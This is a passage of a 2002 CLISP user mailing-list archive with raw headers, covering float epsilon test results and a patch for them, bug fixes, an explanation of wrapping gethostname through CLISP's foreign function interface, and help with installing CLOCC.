clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Feb 10 20:48:03 2002 X-Original-Date: Mon, 11 Feb 2002 14:41:22 +1000 Hello, Stefan, Monday, February 11, 2002, 12:14:42 AM, you wrote: Stefan> Could you give them a try and report your results for your Stefan> local installation to clisp-list? A week old Clisp from CVS on NT4.0: system value computed value difference short-float-epsilon: 7.6295s-6 7.6295s-6 0.0s+0 short-float-negative-epsilon: 3.81477s-6 3.81477s-6 0.0s+0 single-float-epsilon: 5.960465E-8 5.960465E-8 0.0E+0 single-float-negative-epsilon: 2.9802325E-8 2.9802325E-8 0.0E+0 double-float-epsilon: 1.1102230246251567d-16 1.1102230246251567d-16 0.0d+0 double-float-negative-epsilon: 5.551115123125784d-17 5.551115123125784d-17 0.0d+0 long-float-epsilon: 5.4210108624275221706L-20 5.4210108624275221706L-20 0.0L+0 long-float-negative-epsilon: 2.7105054312137610853L-20 2.7105054312137610853L-20 0.0L+0 -- Best regards, Arseny mailto:ampy@ich.dvo.ru From toy@rtp.ericsson.se Mon Feb 11 06:11:05 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aHAf-0003XS-00 for ; Mon, 11 Feb 2002 06:11:05 -0800 Received: from mr7.exu.ericsson.se (mr7u3.ericy.com [208.237.135.122]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g1BEB2h08566 for ; Mon, 11 Feb 2002 08:11:03 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g1BEB2f05269 for ; Mon, 11 Feb 2002 08:11:02 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Mon Feb 11 08:11:01 2002 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA11556; Mon, 11 Feb 2002 09:13:12 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g1BEAw116049; Mon, 11 Feb 2002 09:10:58 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: Stefan Kain Cc: clisp-devel , clisp-list References: <3C656D12.5C1AD529@users.sourceforge.net> From: Raymond Toy In-Reply-To: <3C656D12.5C1AD529@users.sourceforge.net> Message-ID: <4nheooun0t.fsf@rtp.ericsson.se> Lines: 33 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (bamboo) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: *-float-*-epsilon in clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 11 06:12:03 2002 X-Original-Date: 11 Feb 2002 09:10:58 -0500 >>>>> "Stefan" == Stefan Kain writes: Stefan> Could you give them a try and report your results for your Stefan> local installation to clisp-devel? Clisp on an Ultrasparc II running Solaris 2.7: "2.27.2 (released 2001-10-05) (built 3216661407) (memory 3216748156)" As expected: (test-epsilons) system value computed value difference short-float-epsilon: 7.6295s-6 7.6295s-6 0.0s+0 short-float-negative-epsilon: 3.81477s-6 3.81477s-6 0.0s+0 single-float-epsilon: 5.960465E-8 5.960465E-8 0.0E+0 single-float-negative-epsilon: 2.9802325E-8 2.9802325E-8 0.0E+0 double-float-epsilon: 1.1102230246251567d-16 1.1102230246251567d-16 0.0d+0 double-float-negative-epsilon: 5.551115123125784d-17 5.551115123125784d-17 0.0d+0 long-float-epsilon: 5.4210108624275221706L-20 5.4210108624275221706L-20 0.0L+0 long-float-negative-epsilon: 2.7105054312137610853L-20 2.7105054312137610853L-20 0.0L+0 I still think the epsilon problem only happens on x86 and that's because of the 80-bit precision that it has. Ray From samuel.steingold@verizon.net Mon Feb 11 07:49:59 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aIiM-0006pk-00 for ; Mon, 11 Feb 2002 07:49:58 -0800 Received: from gnu.org ([151.203.224.67]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020211154956.DOP12982.out008.verizon.net@gnu.org>; Mon, 11 Feb 2002 09:49:56 -0600 To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] package locking confusion References: <20020209210239.GC27813@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020209210239.GC27813@balefire.localdomain> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 11 07:50:16 2002 X-Original-Date: 11 Feb 2002 10:47:10 -0500 > * In message <20020209210239.GC27813@balefire.localdomain> > * On the subject of "[clisp-list] package locking confusion" > * Sent on Sat, 9 Feb 2002 15:02:40 -0600 > * Honorable William Harold Newman writes: > > I don't understand this error (in clisp checked out of CVS this > morning): > > $ clisp -q > [1]> (compile nil > '(LAMBDA (LIST) > (FLET > ((ENABLE (X) (PUSHNEW X LIST)) > (DISABLE (X) (SETF LIST (REMOVE X LIST)))) > (ENABLE :SB-AFTER-XC-CORE) LIST))) > > ** - Continuable Error > INTERN("NIL-ENABLE"): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > 1. Break [2]> thanks for bug report - I just fixed it in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From samuel.steingold@verizon.net Mon Feb 11 08:50:20 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aJej-0005rZ-00 for ; Mon, 11 Feb 2002 08:50:17 -0800 Received: from gnu.org ([151.203.224.67]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020211165015.BNZF379.out019.verizon.net@gnu.org>; Mon, 11 Feb 2002 10:50:15 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line strips trailing spaces References: <20020205154528.A18401@localhost.localdomain> <20020205201229.A149@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020205201229.A149@localhost.localdomain> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 11 08:51:06 2002 X-Original-Date: 11 Feb 2002 11:47:27 -0500 > * In message <20020205201229.A149@localhost.localdomain> > * On the subject of "Re: [clisp-list] read-line strips trailing spaces" > * Sent on Tue, 5 Feb 2002 20:12:29 +0100 > * Honorable Peter Wood writes: > > On Tue, Feb 05, 2002 at 01:47:37PM -0500, Sam Steingold wrote: > > > GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651) > > > On GNU/Linux > > > > > > read-line strips off spaces, so "foo " becomes "foo". it did do this only on terminal streams under readline. I just fixed this in the CVS. thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! In every non-trivial program there is at least one bug. From samuel.steingold@verizon.net Mon Feb 11 12:16:10 2002 Received: from out001slb.verizon.net ([206.46.170.13] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aMrv-0005Gr-00 for ; Mon, 11 Feb 2002 12:16:07 -0800 Received: from gnu.org ([151.203.224.67]) by out001.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020211201558.LISZ7202.out001.verizon.net@gnu.org>; Mon, 11 Feb 2002 14:15:58 -0600 To: Stefan Kain Cc: clisp-list Subject: Re: [clisp-list] *-float-*-epsilon in clisp References: <3C668052.DFCEB7B4@users.sourceforge.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C668052.DFCEB7B4@users.sourceforge.net> Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Feb 11 12:23:02 2002 X-Original-Date: 11 Feb 2002 15:13:07 -0500 > * In message <3C668052.DFCEB7B4@users.sourceforge.net> > * On the subject of "[clisp-list] *-float-*-epsilon in clisp" > * Sent on Sun, 10 Feb 2002 15:14:42 +0100 > * Honorable Stefan Kain writes: > > I get discrepancies for the double-float-*-epsilon values > on my machine. this is specific to linux on i386 (the fpu uses 80 bit floats). apply the appended patch and rebuild _both_ lisp.run and lispinit.mem please report your experiences -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The early worm gets caught by the bird. --- lisparit.d.~1.30.~ Mon Nov 19 18:49:08 2001 +++ lisparit.d Mon Feb 11 15:07:07 2002 @@ -2253,6 +2253,8 @@ var object obj; #ifdef intQsize encode_DF(0,-DF_mant_len,bit(DF_mant_len)+1, obj=); + #elif (defined(unix) && defined(linux) && defined(i386)) + encode2_DF(0,-DF_mant_len,bit(DF_mant_len-32)|bit(DF_mant_len-32-DF_exp_len),1, obj=); #else encode2_DF(0,-DF_mant_len,bit(DF_mant_len-32),1, obj=); #endif @@ -2262,6 +2264,8 @@ var object obj; #ifdef intQsize encode_DF(0,-DF_mant_len-1,bit(DF_mant_len)+1, obj=); + #elif (defined(unix) && defined(linux) && defined(i386)) + encode2_DF(0,-DF_mant_len-1,bit(DF_mant_len-32)|bit(DF_mant_len-32-DF_exp_len),1, obj=); #else encode2_DF(0,-DF_mant_len-1,bit(DF_mant_len-32),1, obj=); #endif From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 12 03:15:59 2002 Received: from [62.225.183.235] (helo=mail1.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aauk-0007vw-00 for ; Tue, 12 Feb 2002 03:15:58 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 12 Feb 2002 12:13:57 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1C09J6XZ>; Tue, 12 Feb 2002 12:15:33 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net X-Mailer: Internet Mail Service (5.5.2653.19) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: Quoted-Printable Subject: [clisp-list] Re: FFI question (FFI cookbook) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 03:16:03 2002 X-Original-Date: Tue, 12 Feb 2002 12:15:32 +0100 myriam wrote: > > commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp: > > (def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)= ) ; ?? > > (:return-type int)) > > (def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)= ) ; ?? > > (:return-type int)) Spoiler ahead! The FFI cookbook, chapter N (not 1) Reini Urban responds: >(ffi:def-c-call-out gethostname (:arguments (name c-string) (len size_t))(= :return-type int)) >(ffi:def-c-var c-hostname (:type c-string) (:alloc :malloc-free)) >(if (zerop (linux:gethostname c-hostname 15) ; 0 on success > (defvar hostname (ffi:deref c-hostname))) ; deref converts c-string = to lisp type [unbalanced parentheses?] >and link the glibc to clisp. don't know if the dynamic-ffi works here. CLISP's FFI can do much more for you. There is no external c-hostname variable. You only need a small wrapper written in Lisp and normally nothing in C. This text attempts to explain the story. Sadly, my code is untested, since I didn't install CLISP on a UNIX machine. However, the concepts are there, hopefully understandable. C declarations are completely insufficient to know how the arguments are actually to be used. I recommend reading "H/Direct: A Binary Foreign Language Interface for Haskell" to appreciate the needed expressiveness of any FFI, including CLISP's -- that's why there is c-ptr, c-pointer, c-ptr-null, c-array-ptr, c-array, c-array-max etc. See section Foreign-language integration of http://research.microsoft.com/Users/simonpj/Papers/papers.html H/Direct: A Binary Foreign Language Interface for Haskell Topics covered below: allocation, some array types, character encodings In the present example, you can use allocation :alloca, like you'd do in C: stack-allocate a temporary. Why make things worse when using Lisp than when using C? gethostname(name,len) follows a typical pattern of C "out"-parameter convention. It expects a pointer to a buffer it's going to fill. So you must view this parameter as either :out or :in-out. Additionaly, one must tell the function the size of the buffer. Here is just an :in parameter. Sometimes this will be an :in-out parameter, returning the number of bytes actually filled in. So is actually a pointer to an array of up to characters (or bytes? -- see below), regardless of what the poor "char *" C prototype says, to be used like a C string (0-termination). How many elements are in the array? Luckily, in our case, you can find it out without calculating the sizeof() a C structure. It's a hostname that will be returned. The Solaris 2.x manpage says "Host names are limited to MAXHOSTNAMELEN characters, currently 256." This yields the following useful signature for your foreign function: (ffi:def-c-call-out gethostname (:arguments (name (ffi:c-ptr (ffi:c-array-max ffi:char 256)) =09=09 :out :alloca) =09 (len ffi:int)) (:return-type ffi:int)) A (:return-type BOOLEAN) could have been used here (Solaris says it's either 0 or -1). (defun myhostname () (multiple-value-bind (success name) ;; :out or :in-out parameters are returned via multiple values (gethostname 256) (if (zerop success) =09(subseq name 0 (position #\0 name)) =09(error ... ; errno may be set ...)))) (defvar hostname (myhostname)) Possibly SUBSEQ and POSITION are superfluous, thanks to C-ARRAY-MAX as opposed to C-ARRAY: (defun myhostname () (multiple-value-bind (success name) ;; :out or :in-out parameters are returned via multiple values (gethostname 256) (if (zerop success) name =09(error ... ; errno may be set ...)))) Unicode and possible character encoding problems w/ #+UNICODE I have no experience with character conversions in CLISP. Maybe the first solution above is problematic because, depending on ffi:*FOREIGN-ENCODING*, the resulting string is not a valid one in the encoding (it's shorter, since it's zero/NUL-terminated and undefined behind the \0). OTOH the above ffi:C-ARRAY-MAX may already take care of this (contrary to just ffi:c-array). The above call to POSITION maybe superfluous. The source code in FOREIGN.D seems to indicate that conversion is safe (not converting more than bytes). I didn't look if some call to SUBSEQ and POSITION is still needed because we don't want the full array that CLISP may have allocated prior to the call. Anyway, I don't like to look at source code for this, it should be clear from the documentation. So another approach would be to use 8-bit bytes instead (if your OS uses an 8 bit char, and not UNICODE internally), together with ext:CONVERT-STRING-FROM-BYTES, doing the conversion ourselves. We need another prototype: (ffi:def-c-call-out gethostname (:arguments (name (ffi:c-ptr (ffi:c-array ffi:uint8 256)) =09; no more c-array-max, we'll do ourselves =09=09 :out :alloca) =09 (len ffi:int)) (:return-type ffi:int)) (defun myhostname () (multiple-value-bind (success name) (gethostname 256) (if (zerop success) =09(ext:convert-string-from-bytes =09 name ffi:*foreign-encoding* :end (position 0 name)) =09(error ... ; errno may be set ...)))) Possible bugs in this explanation: :IN-OUT may be needed instead of just :out (:out may be unusable), use of POSITION unclear, may need 257 instead of 256 element or call with 255, ... I hope this helps, =09J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Feb 12 03:50:11 2002 Received: from [62.225.183.235] (helo=mail1.telekom.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16abRq-0004GB-00 for ; Tue, 12 Feb 2002 03:50:11 -0800 Received: from g8pbq.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 12 Feb 2002 12:48:18 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1C06WRVW>; Tue, 12 Feb 2002 12:49:56 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] how can one possibly use the FFI from the CLISP-win32 binary dist ribution? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 03:51:02 2002 X-Original-Date: Tue, 12 Feb 2002 12:49:55 +0100 Hi, I wondering: the CLISP binary distribution for MS-Windos contains the = FFI package and functions, but how can one make use of them? I believe that, in its current state, one must build CLISP from sources = to be able to make any use of the FFI (via modules), so what's the = point of having it in the binary distribution? Am I missing something? What follows are snippets of clisp-list for further reference: Sam Steingold in "Re: Making Foreign Function Calls on Win32" wrote on = 2002-01-18 11:32: Mats Bergstr=F8m wrote in "FFI and win32" on 2001-08-24: MB>I'm trying to use FFI on win32. [...] MB>But this doesn't work on win32 since modules are Unix specific. Sam>yes, this is very unfortunate. >using libltdl (part of gnu libtool) should make it possible to port >dynamic modules to win32. > >I don't use FFI myself, so I cannot really help you here. > >I suspect that linking lisp.exe with your *.obj files and using the >resulting executable to compile and load the FFI forms you write = should >work. Who actually can confirm or deny this? Is linking a fully-working = lisp.exe executable to new object files possible with MS-Windos? Regards, J=F6rg H=F6hle. From abramson@aic.nrl.navy.mil Tue Feb 12 07:31:24 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aetv-0003Qr-00 for ; Tue, 12 Feb 2002 07:31:24 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id KAA14826; Tue, 12 Feb 2002 10:29:48 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.11.6+Sun/8.10.2) id g1CFTlT12408; Tue, 12 Feb 2002 10:29:47 -0500 (EST) To: "Hoehle, Joerg-Cyril" From: myriam Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: FFI question (FFI cookbook) Reply-To: mabramso@gmu.edu References: In-Reply-To: Message-ID: Lines: 13 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 07:32:04 2002 X-Original-Date: 12 Feb 2002 10:29:47 -0500 Beautiful! It works!! Tested on Solaris 8 > (defun myhostname () > (multiple-value-bind (success name) > ;; :out or :in-out parameters are returned via multiple values I didn't know that, thanks. myriam From dagit@engr.orst.edu Tue Feb 12 09:13:27 2002 Received: from engr.orst.edu ([128.193.54.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16agUg-0007ZE-00 for ; Tue, 12 Feb 2002 09:13:26 -0800 Received: from eel.ENGR.ORST.EDU (eel.ENGR.ORST.EDU [128.193.55.69]) by engr.orst.edu (8.9.3/8.9.3) with ESMTP id JAA12549 for ; Tue, 12 Feb 2002 09:13:24 -0800 (PST) Received: from localhost (dagit@localhost) by eel.ENGR.ORST.EDU (8.9.3/8.9.3) with ESMTP id JAA16465 for ; Tue, 12 Feb 2002 09:13:24 -0800 (PST) From: Jason Dagit To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] CLOCC install Q Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 09:14:02 2002 X-Original-Date: Tue, 12 Feb 2002 09:13:24 -0800 (PST) I was trying to install CLOCC, I downloaded the latest snapshot. Made sure that I was running clisp 2.27, but I get the following errors: $ export LISPTYPE="/usr/bin/clisp" $ make clocc-top /home/dagit/downloads/clocc/bin/run-lisp: Sorry, option -faslext not supported for LISPTYPE=/usr/bin/clisp. /home/dagit/downloads/clocc/bin/run-lisp: Sorry, option -dumpext not supported for LISPTYPE=/usr/bin/clisp. /home/dagit/downloads/clocc/bin/run-lisp -c clocc.lisp /home/dagit/downloads/clocc/bin/run-lisp: Sorry, LISPTYPE=/usr/bin/clisp is not supported make: *** [clocc.LISPTYPE_NOT_SET] Error 1 $ echo $LISPTYPE /usr/bin/clisp $ whereis clisp clisp: /usr/bin/clisp /usr/lib/clisp /usr/share/man/man1/clisp.1.gz I've also tried this with cmucl and I get the same error. And it is right, neither clisp, nor cmucl accept those command line switches. Any ideas? Thanks, Jason PS if this is the wrong list for this question, then I'm sorry. From samuel.steingold@verizon.net Tue Feb 12 17:37:04 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aoM1-00050Y-00 for ; Tue, 12 Feb 2002 17:37:01 -0800 Received: from gnu.org ([151.203.228.35]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020213013654.IVSE22012.out020.verizon.net@gnu.org>; Tue, 12 Feb 2002 19:36:54 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: FFI question (FFI cookbook) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 17:38:02 2002 X-Original-Date: 12 Feb 2002 20:33:59 -0500 > * In message > * On the subject of "[clisp-list] Re: FFI question (FFI cookbook)" > * Sent on Tue, 12 Feb 2002 12:15:32 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Spoiler ahead! The FFI cookbook, chapter N (not 1) cool - give us more! give us the rest of the cookbook! based on your suggestions, I enabled gethostname() in linux.lisp and added some wrappers (see CVS). thanks! maybe you could also tell us why errno does not work? *** - FFI:DEREF is only allowed after FFI::FOREIGN-VALUE: (FFI:DEREF (LINUX:__errno_location)) LINUX:__errno_location appears to be a function returning the errno. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I don't like cats! -- Come on, you just don't know how to cook them! From samuel.steingold@verizon.net Tue Feb 12 18:13:27 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aovD-0000zA-00 for ; Tue, 12 Feb 2002 18:13:23 -0800 Received: from gnu.org ([151.203.228.35]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020213021303.JOBI10804.out006.verizon.net@gnu.org>; Tue, 12 Feb 2002 20:13:03 -0600 To: Jason Dagit Cc: Subject: Re: [clisp-list] CLOCC install Q References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 18:14:02 2002 X-Original-Date: 12 Feb 2002 21:10:28 -0500 > * In message > * On the subject of "[clisp-list] CLOCC install Q" > * Sent on Tue, 12 Feb 2002 09:13:24 -0800 (PST) > * Honorable Jason Dagit writes: > > $ export LISPTYPE="/usr/bin/clisp" export LISPTYPE=clisp note that the variable specifies _type_, not _path_ -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! .sigs are like your face - rarely seen by you and uglier than you think From kaz@footprints.net Tue Feb 12 19:58:27 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16aqYs-0004uT-00 for ; Tue, 12 Feb 2002 19:58:26 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16aqYq-0002st-00; Tue, 12 Feb 2002 19:58:24 -0800 From: Kaz Kylheku To: Sam Steingold cc: "Hoehle, Joerg-Cyril" , Subject: Re: [clisp-list] Re: FFI question (FFI cookbook) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 19:59:02 2002 X-Original-Date: Tue, 12 Feb 2002 19:58:24 -0800 (PST) On 12 Feb 2002, Sam Steingold wrote: > maybe you could also tell us why errno does not work? > > *** - FFI:DEREF is only allowed after FFI::FOREIGN-VALUE: (FFI:DEREF (LINUX:__errno_location)) > > LINUX:__errno_location appears to be a function returning the errno. Indeed, this is one of the things I worked around in Meta-CVS. I used (linux::__errno_location) to get to errno values. From dagit@engr.orst.edu Tue Feb 12 21:40:42 2002 Received: from engr.orst.edu ([128.193.54.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16as9p-0003Mi-00 for ; Tue, 12 Feb 2002 21:40:41 -0800 Received: from eel.ENGR.ORST.EDU (eel.ENGR.ORST.EDU [128.193.55.69]) by engr.orst.edu (8.9.3/8.9.3) with ESMTP id VAA11429; Tue, 12 Feb 2002 21:40:31 -0800 (PST) Received: from localhost (dagit@localhost) by eel.ENGR.ORST.EDU (8.9.3/8.9.3) with ESMTP id VAA20806; Tue, 12 Feb 2002 21:40:31 -0800 (PST) From: Jason Dagit To: Sam Steingold cc: Subject: Re: [clisp-list] CLOCC install Q In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 12 21:41:10 2002 X-Original-Date: Tue, 12 Feb 2002 21:40:31 -0800 (PST) Thanks for your help. For some reason I was under the impresion that LISPTYPE needed to know where my lisp was at. I got that step to work, but when I go into any of the directories and type make system I just get errors. I'll work on that more when I get some time. Thanks again, Jason On 12 Feb 2002, Sam Steingold wrote: > > * In message > > * On the subject of "[clisp-list] 